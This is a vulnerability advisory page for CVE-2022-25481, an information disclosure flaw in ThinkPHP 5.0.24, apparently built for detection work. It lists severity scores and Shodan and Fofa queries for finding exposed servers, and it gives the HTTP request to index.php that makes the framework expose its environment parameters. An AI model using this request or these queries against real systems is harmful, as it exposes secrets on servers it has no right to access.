🔙 목록으로 돌아가기

CVE-2022-25481: ThinkPHP 5.0.24 - Information Disclosure

TitleThinkPHP 5.0.24 - Information Disclosure
Authorcaon
SeverityHigh
ImpactAn attacker can exploit this vulnerability to gain sensitive information.
RemediationUpgrade to a patched version of ThinkPHP or apply the necessary security patches.
CVSS Score7.5
EPSS Score0.20316
CVE IDCVE-2022-25481
CWE IDCWE-668
Shodan Querytitle:"ThinkPHP"http.title:"thinkphp"cpe:"cpe:2.3:a:thinkphp:thinkphp"
Fofa Querytitle="thinkphp"header="think_lang"
Tags cve cve2022 thinkphp exposure oss vuln

🔍 Vulnerability Description

ThinkPHP 5.0.24 is susceptible to information disclosure. This version was configured without the PATHINFO parameter. This can allow an attacker to access all system environment parameters from index.php, thereby possibly obtaining sensitive information, modifying data, and/or executing unauthorized operations.

🌐 HTTP Request

GET /index.php?s=example HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25481.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-25481.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A